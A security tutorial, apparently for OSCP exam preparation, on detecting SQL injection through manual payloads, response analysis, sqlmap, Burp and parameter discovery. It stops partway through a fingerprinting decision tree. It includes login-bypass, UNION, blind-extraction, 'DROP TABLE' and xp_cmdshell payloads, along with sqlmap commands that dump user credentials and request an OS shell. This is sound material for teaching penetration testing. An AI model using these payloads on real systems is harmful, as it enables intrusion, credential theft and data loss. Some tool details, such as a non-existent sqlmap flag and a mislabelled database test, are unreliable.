SQL Injection Detection Methods
Table of Contents
- Manual Detection Checklist
- Response Analysis Techniques
- Automated Detection Tools
- Parameter Discovery
- Database Fingerprinting During Detection
- OSCP Exam Detection Strategy
- Quick Reference Cards
1. Manual Detection Checklist
1.1 The Fundamental Principle
SQL Injection occurs when user-supplied input is incorporated into a SQL query without proper sanitization. Detection revolves around introducing syntax anomalies and observing how the application responds.
The core question for every test: “Does the database interpret my input as SQL, or as data?”
1.2 Single Quote Test (')
Purpose: The most fundamental SQLi test. A single quote is the most common string delimiter in SQL.
Payload:
'
Test on parameter:
http://target.com/vuln.php?id=1'
Expected Responses and Interpretations:
| Response Type | What You See | Interpretation | Likelihood of SQLi |
|---|---|---|---|
| Database Error | You have an error in your SQL syntax... |
The quote broke the SQL query, revealing the backend is interpreting it as SQL | HIGH - Confirmed SQLi |
| Blank/Empty Page | Page loads but content is missing | Query failed silently, no results returned | MEDIUM - Likely SQLi |
| Different Content | Page shows different data than normal | Query returned unexpected results due to malformed syntax | MEDIUM - Likely SQLi |
| Same as Normal | Page loads identically to id=1 |
Input may be sanitized, or the parameter is not SQL-related | LOW - Probably not SQLi |
| Application Error | 500 Internal Server Error |
Query failed, error suppressed but server crashed | MEDIUM - Possible SQLi |
What’s happening behind the scenes:
-- Original query (benign input):
SELECT * FROM products WHERE id = 1;
-- With single quote injection:
SELECT * FROM products WHERE id = 1';
-- ^ Syntax error - unclosed string literal
1.3 Double Quote Test (")
Purpose: Some applications use double quotes as string delimiters (especially with MySQL ANSI_QUOTES mode or other databases).
Payload:
"
Test on parameter:
http://target.com/vuln.php?id=1"
Interpretation: Same logic as single quote test. If single quote produced no change but double quote does, the application likely uses double quotes as delimiters.
Decision Tree:
Single quote test → No change?
├── Yes → Try double quote test
│ ├── Change detected → SQLi with double-quote delimiters
│ └── No change → Try other tests below
└── No → SQLi likely confirmed with single-quote delimiters
1.4 Quote + Comment Test ('-- or '/*)
Purpose: If a single quote breaks the query, adding a comment may “fix” it by commenting out the remaining problematic SQL.
Payloads:
'--
'/*
';--
"/*
" --
Test on parameter:
http://target.com/vuln.php?id=1'--
http://target.com/vuln.php?id=1'/*
Expected Responses:
| Response | Interpretation |
|---|---|
| Page returns to normal | The comment closed the injection and the query executed successfully. Strong SQLi indicator. |
| Still broken | The comment syntax may not match the database, or WAF is blocking |
| Same as no injection | Input is being sanitized or parameterized |
What’s happening behind the scenes:
-- Original broken query:
SELECT * FROM products WHERE id = 1';
-- With comment - the rest is ignored:
SELECT * FROM products WHERE id = 1'--';
-- The '--' comments out the trailing quote, query may execute
-- Or with inline comment:
SELECT * FROM products WHERE id = 1'/* remaining query */ AND active = 1;
Database-specific comment styles:
| Database | Line Comment | Block Comment |
|---|---|---|
| MySQL | -- (note: space required) or # |
/* */ |
| PostgreSQL | -- |
/* */ |
| MSSQL | -- |
/* */ |
| Oracle | -- |
/* */ |
| SQLite | -- |
/* */ |
1.5 OR True / AND False Tests
Purpose: These are boolean-based blind SQLi detection tests. They change the logic of the WHERE clause to observe different outputs.
OR True Test
Payloads:
1' OR '1'='1
1' OR '1'='1'--
1 OR 1=1--
1' OR 1=1--
admin' OR '1'='1
Test on parameter:
http://target.com/vuln.php?id=1' OR '1'='1
Expected Responses:
| Response | Interpretation |
|---|---|
| More results returned | The OR 1=1 made the WHERE clause always true, returning all rows. Confirmed SQLi. |
| Same results as normal | May be sanitized, or the query structure doesn’t allow this |
| Error message | Syntax error - injection point confirmed but query structure differs |
| Login bypass succeeds | If testing authentication, you logged in without valid credentials. Critical SQLi. |
What’s happening behind the scenes:
-- Original query:
SELECT * FROM products WHERE id = 1;
-- With OR true injection:
SELECT * FROM products WHERE id = 1 OR 1=1;
-- ^ Returns ALL rows from the table
-- Authentication bypass:
-- Original:
SELECT * FROM users WHERE username = 'admin' AND password = 'input';
-- With injection:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
-- ^ Returns the admin user regardless of password
AND False Test
Payloads:
1' AND '1'='2
1 AND 1=2--
1' AND '1'='1
Test on parameter:
http://target.com/vuln.php?id=1 AND 1=2
Expected Responses:
| Response | Interpretation |
|---|---|
| Fewer/no results | The AND 1=2 made the WHERE clause always false. Confirmed SQLi. |
| Same results as normal | Input sanitized or not SQL-related |
| Error message | Injection point confirmed |
The Boolean Comparison Technique:
Step 1: Note the normal response for id=1
Step 2: Test id=1 AND 1=1 → Should return SAME as normal (1=1 is true)
Step 3: Test id=1 AND 1=2 → Should return DIFFERENT (1=2 is false)
Step 4: If Step 2 = normal AND Step 3 ≠ normal → Boolean-based SQLi confirmed
1.6 UNION NULL Test
Purpose: Tests whether the application is vulnerable to UNION-based SQLi, which allows extracting data from other tables.
Payloads (start with 1 NULL, increase):
1' UNION SELECT NULL--
1' UNION SELECT NULL,NULL--
1' UNION SELECT NULL,NULL,NULL--
1' UNION SELECT NULL,NULL,NULL,NULL--
1' UNION SELECT NULL,NULL,NULL,NULL,NULL--
Test on parameter:
http://target.com/vuln.php?id=1' UNION SELECT NULL--
http://target.com/vuln.php?id=1' UNION SELECT NULL,NULL--
http://target.com/vuln.php?id=1' UNION SELECT NULL,NULL,NULL--
Expected Responses:
| Response | Interpretation |
|---|---|
| Error: “The used SELECT statements have a different number of columns” | SQLi confirmed! The error tells you the original query uses N columns. Try N NULLs. |
| NULL values appear on page | You matched the column count. UNION-based SQLi is exploitable. |
| Error persists with all counts | UNION may be blocked, or query structure doesn’t support it |
| No change at all | Not UNION-injectable (may still be boolean/time-based) |
What’s happening behind the scenes:
-- Original query returns 3 columns:
SELECT name, price, description FROM products WHERE id = 1;
-- UNION with wrong column count (2 NULLs):
SELECT name, price, description FROM products WHERE id = 1 UNION SELECT NULL, NULL;
-- ^ Error: column count mismatch
-- UNION with correct column count (3 NULLs):
SELECT name, price, description FROM products WHERE id = 1 UNION SELECT NULL, NULL, NULL;
-- ^ Success! Three NULL values appear in the output
OSCP Tip: When you get the column count error, note the number. This is your key to extracting data.
1.7 Time Delay Test
Purpose: Detects time-based blind SQLi when the application doesn’t reflect any differences in output.
Payloads by database:
| Database | Payload |
|---|---|
| MySQL | 1' AND SLEEP(5)-- or 1' AND (SELECT SLEEP(5))-- |
| MSSQL | 1'; WAITFOR DELAY '0:0:5'-- |
| PostgreSQL | 1' AND pg_sleep(5)-- |
| Oracle | 1' AND (SELECT DBMS_PIPE.RECEIVE_MESSAGE('a',5) FROM DUAL)-- |
Test on parameter:
http://target.com/vuln.php?id=1' AND SLEEP(5)--
Expected Responses:
| Response | Interpretation |
|---|---|
| ~5 second delay | Time-based blind SQLi confirmed. The database executed the sleep function. |
| No delay | Not time-based injectable, or WAF blocked the function |
| Error message | Injection point exists but function not available |
Decision Tree for Time-Based Detection:
Normal response time: ~0.5 seconds
Test: id=1' AND SLEEP(5)--
├── Response takes ~5.5 seconds → Time-based SQLi confirmed
├── Response takes ~0.5 seconds → Try other database functions
│ ├── MySQL: BENCHMARK(10000000, SHA1('test'))
│ ├── MSSQL: WAITFOR DELAY '0:0:5'
│ └── PostgreSQL: pg_sleep(5)
└── Error message → Injection point confirmed, function blocked
1.8 Backslash Escaping Test
Purpose: Tests whether the application uses backslash escaping (common in MySQL) and whether it can be bypassed.
Payloads:
\'
\\'
\\\'
Test on parameter:
http://target.com/vuln.php?id=1\'
http://target.com/vuln.php?id=1\\'
Expected Responses:
| Response | Interpretation |
|---|---|
\' causes error, \\' works |
Backslash escaping is in use. Double backslash escapes the backslash, leaving the quote active. |
| Both cause errors | Escaping may not be the issue |
| Neither causes errors | Input is properly parameterized |
1.9 Complete Detection Payload Table
| # | Payload | Tests For | Expected Positive Response | Confidence Level |
|---|---|---|---|---|
| 1 | ' |
Basic injection | DB error, blank page, different content | Medium |
| 2 | " |
Double-quote injection | DB error, blank page | Medium |
| 3 | '-- |
Quote + comment | Page returns to normal | High |
| 4 | ' OR '1'='1 |
Boolean-based | More results, login bypass | High |
| 5 | 1 AND 1=2 |
Boolean-based | Fewer/no results | High |
| 6 | 1' UNION SELECT NULL-- |
UNION-based | Column count error or NULL output | High |
| 7 | 1' AND SLEEP(5)-- |
Time-based blind | ~5 second delay | High |
| 8 | 1'; DROP TABLE test-- |
Stacked queries | Error or table dropped | Medium |
| 9 | admin'-- |
Auth bypass | Login as admin | Critical |
| 10 | 1' ORDER BY 10-- |
Column enumeration | Error at high number, success at low | Medium |
| 11 | 1' AND 1=CONVERT(int,(SELECT @@version))-- |
MSSQL detection | MSSQL-specific error | High |
| 12 | 1' AND (SELECT * FROM (SELECT COUNT(*), CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- |
MySQL detection | Duplicate entry error | High |
1.10 ORDER BY Column Enumeration
Purpose: Before using UNION, determine the number of columns in the original query.
Payloads:
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--
1' ORDER BY 4--
...
1' ORDER BY 10--
Expected Responses:
| Response | Interpretation |
|---|---|
| ORDER BY N works, ORDER BY N+1 errors | The query has exactly N columns |
| All ORDER BY values work | Keep increasing the number |
| All ORDER BY values error | ORDER BY may not be supported at this injection point |
Binary Search Approach (faster for many columns):
Step 1: Try ORDER BY 10 → Works?
├── Yes → Try ORDER BY 20
│ ├── Works → Try ORDER BY 30
│ └── Errors → Try ORDER BY 15
└── Errors → Try ORDER BY 5
├── Works → Try ORDER BY 7, 8, 9...
└── Errors → Try ORDER BY 2, 3, 4...
2. Response Analysis Techniques
2.1 HTTP Status Code Analysis
Different SQL injection states can produce different HTTP status codes:
| Status Code | Normal State | SQLi State | Interpretation |
|---|---|---|---|
| 200 OK | ✅ Expected | May still be 200 even with SQLi | Content matters more than status |
| 302 Redirect | After successful login | Stays on login page (no redirect) | Auth bypass attempt failed |
| 403 Forbidden | WAF blocked request | N/A | WAF/IPS detected the injection |
| 404 Not Found | N/A | Page not found due to query failure | Possible SQLi (content-based) |
| 500 Internal Server Error | N/A | Server crashed due to malformed query | Strong SQLi indicator |
| 503 Service Unavailable | N/A | Database connection failed | Possible SQLi causing DB issues |
Practical Example:
# Normal request
curl -s -o /dev/null -w "%{http_code}" "http://target.com/page.php?id=1"
# Returns: 200
# With injection
curl -s -o /dev/null -w "%{http_code}" "http://target.com/page.php?id=1'"
# Returns: 500 → Strong SQLi indicator
2.2 Response Size Analysis
The length of the HTTP response body can reveal SQLi even when content appears similar:
| Scenario | Normal Size | Injected Size | Interpretation |
|---|---|---|---|
| Error message displayed | 5,000 bytes | 8,500 bytes | Error message added to response → SQLi likely |
| No results returned | 5,000 bytes | 200 bytes | Query returned nothing → SQLi likely |
| All results returned | 5,000 bytes | 45,000 bytes | OR 1=1 returned everything → SQLi confirmed |
| Sanitized input | 5,000 bytes | 5,000 bytes | Same size → Probably not SQLi |
Automated Size Comparison:
# Save normal response size
NORMAL_SIZE=$(curl -s "http://target.com/page.php?id=1" | wc -c)
# Save injected response size
INJECTED_SIZE=$(curl -s "http://target.com/page.php?id=1'" | wc -c)
# Compare
echo "Normal: $NORMAL_SIZE bytes"
echo "Injected: $INJECTED_SIZE bytes"
echo "Difference: $((INJECTED_SIZE - NORMAL_SIZE)) bytes"
OSCP Tip: In Burp Suite, the response size is shown in the bottom-right corner of the HTTP message viewer. Use this for quick visual comparison.
2.3 Response Time Analysis
Critical for detecting time-based blind SQLi:
| Test | Expected Time | Interpretation |
|---|---|---|
id=1 |
~0.5s | Baseline response time |
id=1' |
~0.5s or error | No time impact |
id=1' AND SLEEP(5)-- |
~5.5s | Time-based SQLi confirmed |
id=1' AND SLEEP(0)-- |
~0.5s | Control test - no delay expected |
Systematic Time Testing:
# Baseline
time curl -s "http://target.com/page.php?id=1" > /dev/null
# real 0m0.452s
# With time-based payload
time curl -s "http://target.com/page.php?id=1' AND SLEEP(5)--" > /dev/null
# real 0m5.487s ← 5 second delay confirms time-based SQLi
# Control test
time curl -s "http://target.com/page.php?id=1' AND SLEEP(0)--" > /dev/null
# real 0m0.461s ← No delay, confirms the delay was from SLEEP
Advanced: Binary Search with Time Delays
For blind extraction, use conditional time delays:
-- Extract first character of database name (MySQL)
1' AND IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))>100, SLEEP(3), 0)--
-- If response takes 3+ seconds: first char ASCII > 100
-- If response is normal: first char ASCII <= 100
-- Binary search between 0-127 to find exact ASCII value
2.4 HTML Content Differences
Compare the actual HTML content of responses:
| Comparison Point | What to Look For |
|---|---|
| Error messages in HTML | Database error strings embedded in the page |
| Missing content | Tables, lists, or divs that disappear |
| Extra content | Additional rows, unexpected data |
| JavaScript errors | Client-side errors triggered by malformed data |
| Comment differences | HTML comments that change based on input |
Automated Content Diff:
# Save normal response
curl -s "http://target.com/page.php?id=1" > normal.html
# Save injected response
curl -s "http://target.com/page.php?id=1'" > injected.html
# Compare
diff normal.html injected.html
Key HTML patterns that indicate SQLi:
<!-- Normal response -->
<div class="product-name">Widget A</div>
<div class="product-price">$19.99</div>
<!-- With OR 1=1 injection - multiple products shown -->
<div class="product-name">Widget A</div>
<div class="product-price">$19.99</div>
<div class="product-name">Widget B</div>
<div class="product-price">$29.99</div>
<div class="product-name">Widget C</div>
<div class="product-price">$39.99</div>
<!-- With error-inducing injection -->
<div class="error">You have an error in your SQL syntax...</div>
2.5 Database Error Message Analysis
Error messages are the most direct indicator of SQLi and often reveal the database type:
MySQL Error Messages
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/html/page.php on line 15
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Invalid SQL: SELECT * FROM products WHERE id = 1';
Keywords to look for: MySQL, mysql_, MariaDB, SQL syntax, near ''
MSSQL Error Messages
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
Syntax error converting the nvarchar value 'admin'' to a column of data type int.
Microsoft SQL Native Client error '80040e14'
Line 1: Incorrect syntax near '''.
Keywords to look for: Microsoft, OLE DB, ODBC, nvarchar, MSSQL, SQL Server
PostgreSQL Error Messages
ERROR: syntax error at or near "'" at character 56
STATEMENT: SELECT * FROM products WHERE id = 1';
ERROR: operator does not exist: integer = character varying
Keywords to look for: PostgreSQL, pg_, character varying, STATEMENT:
Oracle Error Messages
ORA-00933: SQL command not properly ended
ORA-01756: quoted string not properly terminated
java.sql.SQLException: ORA-00933: SQL command not properly ended
Keywords to look for: ORA-, Oracle, PL/SQL
SQLite Error Messages
SQLite3::SQLException: near "': syntax error
Warning: SQLite3::query(): Unable to continue execution
Keywords to look for: SQLite, SQLite3
Error Message Detection Decision Tree
Error message received?
├── Contains "MySQL" / "mysql_" → MySQL database
├── Contains "Microsoft" / "OLE DB" → MSSQL database
├── Contains "PostgreSQL" / "pg_" → PostgreSQL database
├── Contains "ORA-" → Oracle database
├── Contains "SQLite" → SQLite database
└── Generic error → Try function-based fingerprinting (Section 5)
3. Automated Detection Tools
3.1 SQLMap
SQLMap is the most powerful automated SQLi detection and exploitation tool. It is essential for OSCP.
Basic Detection Commands
# Basic detection against a GET parameter
sqlmap -u "http://target.com/page.php?id=1" --batch
# Test specific parameter
sqlmap -u "http://target.com/page.php?id=1&cat=2" -p id --batch
# Test POST parameters
sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass" --batch
# Test with custom cookies
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123" --batch
# Test with custom headers
sqlmap -u "http://target.com/page.php?id=1" --headers="X-Forwarded-For: 127.0.0.1" --batch
Key Detection Flags and Options
| Flag | Purpose | Example |
|---|---|---|
--batch |
Auto-accept defaults (no prompts) | sqlmap -u "URL" --batch |
--level=N |
Detection depth (1-5, default 1) | --level=3 tests headers too |
--risk=N |
Risk level (1-3, default 1) | --risk=2 adds more aggressive tests |
--dbms=XXX |
Force specific DBMS | --dbms=mysql |
--technique=BUST |
Specify techniques | --technique=BU (Boolean + Union) |
-p PARAM |
Test specific parameter(s) | -p id,username |
--random-agent |
Randomize User-Agent | Avoids basic detection |
--delay=N |
Seconds between requests | --delay=2 for stealth |
--threads=N |
Concurrent requests | --threads=3 for speed |
--time-sec=N |
Time-based delay threshold | --time-sec=5 |
--codename=XXX |
Code name for the session | --codename=target1 |
--output-dir=PATH |
Custom output directory | --output-dir=/root/sqlmap/ |
--dump |
Dump data after detection | --dump -T users |
--dbs |
List all databases | After detection confirmed |
--tables |
List tables in a database | --tables -D database_name |
--columns |
List columns in a table | --columns -T table_name -D db |
--osshell |
Get OS shell (if possible) | Ultimate goal |
SQLMap Techniques (BUST)
| Technique | Letter | Description | When to Use |
|---|---|---|---|
| Boolean-based blind | B | Uses true/false conditions | When output changes based on boolean |
| Time-based blind | T | Uses time delays | When no output difference visible |
| Union-based | U | Uses UNION SELECT | When you can see query results |
| Stacked queries | S | Uses multiple statements | When ; is allowed |
| Error-based | E | Triggers error messages | When errors are displayed |
Complete SQLMap Workflow for OSCP
# Step 1: Detection
sqlmap -u "http://target.com/page.php?id=1" --batch --random-agent
# Step 2: If detected, enumerate databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
# Step 3: Enumerate tables in target database
sqlmap -u "http://target.com/page.php?id=1" -D "target_db" --tables --batch
# Step 4: Enumerate columns
sqlmap -u "http://target.com/page.php?id=1" -D "target_db" -T "users" --columns --batch
# Step 5: Dump data
sqlmap -u "http://target.com/page.php?id=1" -D "target_db" -T "users" -C "username,password" --dump --batch
# Step 6: Try for OS shell (if privileges allow)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
SQLMap with Request File (Burp Integration)
# Save request from Burp Suite as request.txt
# Then:
sqlmap -r request.txt --batch
request.txt format:
GET /page.php?id=1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=abc123
SQLMap Output Interpretation
[*] starting @ 14:30:22 /2026-09-01/
[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL is stable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[INFO] testing 'MySQL >= 5.0 WHERE, HAVING, ORDER BY or GROUP BY clause (SELECT)'
[INFO] testing 'Union query - 1 to 10 columns'
[WARNING] reflective value(s) found and filtering out
[INFO] GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N]
Do you want to exploit this SQL injection? [Y/n]
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7310=7310-- rYbC
Type: union query
Title: Generic UNION query (3 columns)
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x717a...,table_name),NULL FROM information_schema.tables--
Key output lines to watch for:
"is vulnerable"→ SQLi confirmed"Type: boolean-based blind"→ Technique type"Payload:"→ Working payload you can use manually"back-end DBMS: MySQL 5.0"→ Database fingerprinted
3.2 Burp Suite Scanner for SQLi
Passive Scanning
Burp Suite Professional automatically detects SQLi during normal browsing:
- Enable proxy: Browser → Burp Proxy → Target
- Browse the application normally
- Check Scanner tab: Issues are flagged automatically
- Review findings: Look for “SQL injection” issues
Passive scanning catches:
- Obvious error-based SQLi
- Reflected input in error messages
- Basic injection patterns
Active Scanning
For deeper analysis:
- Right-click request in Proxy → Send to Scanner
- Or: Site map → Right-click → Scan
- Review audit issues
Active scanning performs:
- Systematic payload testing
- Boolean-based detection
- Time-based detection
- UNION-based detection
- Database fingerprinting
Burp Suite Community Edition Limitations
- No active scanner in Community Edition
- Use manual testing with Repeater
- Use sqlmap for automated detection
- Use Burp extensions (free) to enhance capabilities
Manual Testing with Burp Repeater
Step 1: Intercept request in Proxy
Step 2: Right-click → Send to Repeater (Ctrl+R)
Step 3: In Repeater, modify the parameter:
id=1 → id=1'
Step 4: Send (Ctrl+R) and compare responses
Step 5: Try other payloads systematically
Step 6: Use Compare function (right-click → Comparison) to diff responses
3.3 Nikto SQLi Checks
Nikto can detect some SQLi vulnerabilities:
# Basic scan
nikto -h http://target.com
# With specific checks
nikto -h http://target.com -e sql
# Save results
nikto -h http://target.com -o nikto_results.txt -Format txt
Nikto SQLi detection capabilities:
- Tests common vulnerable parameters
- Checks for known vulnerable scripts
- Tests for error-based SQLi
- Limited compared to sqlmap
Nikto output example:
+ Server: Apache/2.4.29 (Ubuntu)
+ /page.php?id=1: The anti-clickjacking X-Frame-Options header is not present.
+ /page.php?id=1': SQL injection vulnerability detected (error-based)
3.4 Tool Comparison
| Feature | SQLMap | Burp Pro Scanner | Nikto | Manual Testing |
|---|---|---|---|---|
| Detection Accuracy | Excellent | Very Good | Fair | Depends on skill |
| Speed | Fast (with threads) | Medium | Fast | Slow |
| Stealth | Configurable | Good | Poor | Best |
| Exploitation | Full exploitation | Limited | None | Full (manual) |
| OSCP Relevance | Critical | Helpful | Low | Critical |
| Learning Value | Medium | Low | Low | Highest |
| False Positives | Low | Medium | High | None (if skilled) |
| Cost | Free | Paid (Pro) | Free | Free |
3.5 Recommended OSCP Tool Strategy
Phase 1: Manual reconnaissance (5-10 min per app)
├── Identify all input points
├── Test with single quote manually
└── Note any error messages
Phase 2: Focused automated testing (if manual test positive)
├── Run sqlmap on confirmed injection points
└── Use --batch for speed
Phase 3: Manual exploitation
├── Use sqlmap findings to guide manual extraction
└── Document everything for the report
4. Parameter Discovery
4.1 Why Parameter Discovery Matters
Many SQLi vulnerabilities exist in hidden or undocumented parameters that are not visible in the URL or page source. These include:
- Parameters added by JavaScript
- Parameters stored in hidden form fields
- Parameters in HTTP headers
- Parameters in cookies
- Parameters in JSON bodies
- Parameters that were once used but are now ignored by the frontend
4.2 Hidden GET/POST Parameters
Manual Discovery Techniques
1. Check HTML Source:
<!-- Hidden form fields -->
<form action="/search.php" method="POST">
<input type="hidden" name="category_id" value="5">
<input type="hidden" name="sort_order" value="desc">
<input type="text" name="query" value="">
</form>
2. Check JavaScript Files:
// Look for AJAX requests with hidden parameters
$.ajax({
url: '/api/data.php',
data: {
id: productId,
user_token: getToken(), // Hidden parameter
format: 'json'
}
});
3. Check Burp Suite History:
- Review all intercepted requests
- Look for parameters not visible in the UI
- Compare requests to find hidden fields
Common Hidden Parameter Names
id, page, sort, order, limit, offset, debug, admin, role,
user, uid, sid, session, token, key, api_key, callback,
format, type, action, cmd, command, file, path, dir,
table, column, query, sql, search, filter, group, having
4.3 Arjun Tool Usage
Arjun is a powerful tool for discovering hidden parameters.
Installation
pip3 install arjun
# or
git clone https://github.com/s0md3v/Arjun.git
cd Arjun
pip3 install -r requirements.txt
python3 arjun
Basic Usage
# Discover hidden parameters
arjun -u http://target.com/page.php
# Specify method
arjun -u http://target.com/page.php -m POST
# Use custom wordlist
arjun -u http://target.com/page.php -w wordlist.txt
# Set threads
arjun -u http://target.com/page.php -t 10
# Set timeout
arjun -u http://target.com/page.php --timeout 5
# Use proxy (Burp Suite)
arjun -u http://target.com/page.php -p http://127.0.0.1:8080
Advanced Usage
# Discover parameters with specific types
arjun -u http://target.com/page.php --types int,str,bool
# Use with request file
arjun -r request.txt
# Exclude known parameters
arjun -u http://target.com/page.php -x id,page
# Save results
arjun -u http://target.com/page.php -o results.txt
Arjun Output Interpretation
Target: http://target.com/page.php
Method: GET
[+] Parameter found: id (type: int)
[+] Parameter found: category (type: str)
[+] Parameter found: debug (type: bool)
[+] Parameter found: page (type: int)
Total parameters found: 4
4.4 Burp ParamMiner Extension
ParamMiner is a free Burp Suite extension that discovers hidden parameters.
Installation
- Burp Suite → Extender → BApp Store
- Search for “ParamMiner”
- Click Install
Configuration
- Extender → Extensions → ParamMiner → Options
- Enable “Scan for hidden GET parameters”
- Enable “Scan for hidden POST parameters”
- Select wordlist (default is usually sufficient)
- Set “Response size difference threshold” (default: 20 bytes)
How ParamMiner Works
For each request:
1. Send original request
2. For each parameter name in wordlist:
a. Add parameter with test value
b. Send modified request
c. Compare response size/content
d. If significantly different → Parameter exists
3. Report discovered parameters
ParamMiner Output
Hidden parameter discovered:
Parameter: debug
Value: 1
Response size difference: +1,250 bytes
Original response: 5,000 bytes
Modified response: 6,250 bytes
Using Discovered Parameters for SQLi
Once ParamMiner finds a hidden parameter:
# Step 1: Note the hidden parameter (e.g., "debug")
# Step 2: Test it for SQLi manually
http://target.com/page.php?id=1&debug=1'
# Step 3: If vulnerable, use sqlmap
sqlmap -u "http://target.com/page.php?id=1&debug=1" -p debug --batch
4.5 Header Injection Testing
SQLi can occur in HTTP headers, not just URL parameters and form data.
Testable Headers
| Header | Why Test It | Payload Example |
|---|---|---|
| User-Agent | Often logged to database | ' OR '1'='1 |
| Cookie | Session IDs may be queried | id=1' OR '1'='1 |
| Referer | Logged for analytics | ' UNION SELECT ...-- |
| X-Forwarded-For | IP logging to database | 1.1.1.1' OR '1'='1 |
| Accept-Language | Localization queries | en' OR '1'='1 |
| X-Real-IP | Alternative IP header | ' AND SLEEP(5)-- |
| CF-Connecting-IP | Cloudflare IP header | ' OR 1=1-- |
Manual Header Testing with Burp
Step 1: Send request to Repeater
Step 2: Modify a header:
User-Agent: Mozilla/5.0 → User-Agent: ' OR '1'='1
Step 3: Send and compare response
Step 4: Repeat for each header
Automated Header Testing with SQLMap
# Test User-Agent header
sqlmap -u "http://target.com/page.php" --level=2 --batch
# Level 2+ tests User-Agent and Cookie
# Test all headers
sqlmap -u "http://target.com/page.php" --level=5 --batch
# Level 5 tests all headers including Referer, Accept-Language, etc.
# Test specific header
sqlmap -u "http://target.com/page.php" --headers="X-Forwarded-For: 1.1.1.1" --level=3 --batch
SQLMap Level Reference for Headers
| Level | Headers Tested |
|---|---|
| 1 | None (parameters only) |
| 2 | User-Agent, Cookie |
| 3 | Referer |
| 4 | All standard headers |
| 5 | All headers including custom |
4.6 JSON Body Parameter Testing
Modern APIs use JSON bodies instead of form data.
Example JSON Request
{
"username": "admin",
"password": "password123",
"role": "user"
}
Manual JSON SQLi Testing
{
"username": "admin' OR '1'='1",
"password": "anything",
"role": "user"
}
{
"username": "admin'--",
"password": "anything",
"role": "user"
}
SQLMap with JSON
# Method 1: Using --data with Content-Type
sqlmap -u "http://target.com/api/login" \
--data='{"username":"admin","password":"pass"}' \
--headers="Content-Type: application/json" \
--batch
# Method 2: Using request file
# Save the full HTTP request as json_request.txt
sqlmap -r json_request.txt --batch
# Method 3: Using --json flag (newer sqlmap versions)
sqlmap -u "http://target.com/api/login" \
--data='{"username":"admin","password":"pass"}' \
--batch
Common JSON Parameter Names to Test
{
"id": 1,
"user_id": 1,
"username": "admin",
"email": "test@test.com",
"name": "Test",
"search": "query",
"filter": {"field": "name", "value": "test"},
"sort": "name",
"page": 1,
"limit": 10
}
5. Database Fingerprinting During Detection
5.1 Error Message-Based Fingerprinting
The fastest way to identify the database is through error messages:
| Database | Error Signature | Example |
|---|---|---|
| MySQL | You have an error in your SQL syntax |
near ''' at line 1 |
| MySQL | mysql_fetch_array() |
PHP MySQL function error |
| MSSQL | Microsoft OLE DB Provider |
error '80040e14' |
| MSSQL | Syntax error converting |
nvarchar value to int |
| PostgreSQL | ERROR: syntax error at or near |
at character 56 |
| PostgreSQL | operator does not exist |
integer = character varying |
| Oracle | ORA-00933 |
SQL command not properly ended |
| Oracle | ORA-01756 |
quoted string not properly terminated |
| SQLite | SQLite3::SQLException |
near "': syntax error |
5.2 Function-Based Fingerprinting
When error messages are suppressed, use database-specific functions:
MySQL Fingerprinting
-- MySQL version function
1' AND (SELECT @@version)--
-- MySQL-specific function that causes error on other DBs
1' AND 1=CONVERT(int, (SELECT @@version))--
-- ^ This causes a type conversion error ONLY in MSSQL
-- MySQL information_schema check
1' UNION SELECT table_name FROM information_schema.tables--
-- MySQL BENCHMARK function (time-based)
1' AND BENCHMARK(10000000, SHA1('test'))--
MSSQL Fingerprinting
-- MSSQL version
1'; SELECT @@VERSION--
-- MSSQL-specific: WAITFOR DELAY
1'; WAITFOR DELAY '0:0:5'--
-- MSSQL-specific: xp_cmdshell
1'; EXEC xp_cmdshell('whoami')--
-- MSSQL type conversion (causes distinctive error)
1' AND 1=CONVERT(int, (SELECT @@version))--
-- ^ Error: "Syntax error converting the nvarchar value..."
PostgreSQL Fingerprinting
-- PostgreSQL version
1' AND (SELECT version())--
-- PostgreSQL-specific function
1' AND pg_sleep(5)--
-- PostgreSQL-specific: current_database()
1' UNION SELECT current_database(), version()--
Oracle Fingerprinting
-- Oracle version
1' AND (SELECT banner FROM v\$version WHERE ROWNUM=1)--
-- Oracle-specific: DUAL table
1' AND (SELECT 1 FROM DUAL)--
-- Oracle time-based
1' AND (SELECT DBMS_PIPE.RECEIVE_MESSAGE('a',5) FROM DUAL)--
5.3 Comment Style Fingerprinting
Different databases handle comments differently:
| Database | Line Comment | Block Comment | Special |
|---|---|---|---|
| MySQL | -- (space required) |
/* */ |
# also works |
| MSSQL | -- |
/* */ |
N/A |
| PostgreSQL | -- |
/* */ |
N/A |
| Oracle | -- |
/* */ |
N/A |
| SQLite | -- |
/* */ |
N/A |
Testing comment styles:
Test 1: id=1'-- (no space)
├── Works → MSSQL, PostgreSQL, Oracle, SQLite
└── Doesn't work → Try with space
Test 2: id=1'-- (with space after --)
├── Works → All databases
└── Doesn't work → Not SQLi or WAF blocking
Test 3: id=1'#
├── Works → MySQL only
└── Doesn't work → Not MySQL
Test 4: id=1'/*
├── Works → All databases (block comment)
└── Doesn't work → Not SQLi
5.4 Comprehensive Fingerprinting Decision Tree
Injection point confirmed?
│
├── Error messages visible?
│ ├── Yes → Read error message for DB type
│ │ ├── "MySQL" → MySQL
│ │ ├── "Microsoft" → MSSQL
│ │ ├── "PostgreSQL" → PostgreSQL
│ │ ├── "ORA-" → Oracle
